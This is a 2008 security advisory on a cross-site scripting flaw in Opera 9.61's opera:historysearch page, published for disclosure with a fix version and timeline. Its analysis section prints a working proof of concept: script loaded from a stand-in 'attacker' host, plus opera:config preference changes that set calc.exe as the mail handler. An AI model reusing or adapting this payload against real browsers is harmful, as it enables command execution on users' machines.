MSA01111108

Opera Xss leads to command execution.


Tested Versions:
Opera 9.61

Tested OS:
XP Professional SP2 Italian

Minded Security ReferenceID:
MSA01111108

Credits:
Discovered by
Stefano Di Paola of Minded Security
stefano.dipaola [_at_] mindedsecurity.com

Reference:
MSA01111108

Severity:
High

Solution: upgrade to Opera 9.62

Summary
Opera fails to sanitize the q parameter in opera:historysearch.
This leads to a Cross Site Scripting in the context of opera: scheme leveraging it to perform execution of arbitrary commands under the user executing the browser.


Analysis

If an attacker entice a user to click/visit a malicious page pointing the browser to:


opera:historysearch?q=">payload&p=1&s=1


there is the chance to exploit once again the opera:* scheme, but just if some result in the historysearch page is found.
In order to satisfy this hypothesis, the payload itself needs to be cached by opera.
An attacker could simply let Opera display it in the evil page:

<script src="http://attacker/operahistory/index.html"&gt;&lt;/s...

<!--
// Js payload starts here
// Js payload from Aviv Raff's implementation of
// my suggestions http://seclists.org/fulldisclosure/2008/Oct/0401.html
s=document.createElement("IFRAME");
s.src="opera:config";
document.body.appendChild(s);
s.src="javascript:opera.setPreference('Mail','External Application',
'c:\\\\windows\\\\system32\\\\calc.exe');
opera.setPreference('Mail','Handler','2');parent.window.close()";
// Aviv's payload ends here
// Js payload ends here
/* Html payload Starts here
-->
<html>
<script>
function x() {
window.open('opera:historysearch?q=%2A">
<script+src%3d"http:%%32f%%32fattacker%%32foperahistory%%32findex.html">
<%%32fscript>&p=1&s=1');
setTimeout(function(){window.open('mailto:abc')},500);
}
</script>
<body onload="setTimeout(x,300)">
<h3>opera:historysearch?q=%2AXssHere POC</h3>
Wait for a while<br/>
The string for cache retrieval: <br/>
<b>
<script src="http://attacker/operahistory/index.html"&gt;&lt;/s...
</b>
</body>
</html>
<!-- Html payload Ends here */
-->

Then since same origin policy matching is evaluated by comparing


scheme1 + host1 + port1 == scheme2 + host2 + port2


We got opera:* considered as:


opera + null + null


For every opera:* feature.

So by injecting an iframe from opera:historysearch and pointing to opera:config there is a match in the same origin policy, leading to command execution.


Credits
Stefano di Paola is credited with the discovery of this vulnerability.

Disclosure Timeline
22/10/2008 Issue found
30/10/2008 Vendor releases opera 9.62 which fixes the issue

Acknowledgements
Minded Security would like to thanks Roberto Suggi Liverani, Kuza55 and Aviv Raff.

Disclaimer

The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information.

In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

Any use of this information is at the user's own risk. Permission is hereby granted for the redistribution of this Alert electronically. It is not to be edited in any way without express consent of Minded Security Research Lab. If you wish to reprint the whole or any part of this Alert in any other medium excluding
electronic medium, please e-mail research_at_mindedsecurity.com for permission.



Copyright (c) 2010 Minded Security, S.r.l..
All rights reserved worldwide.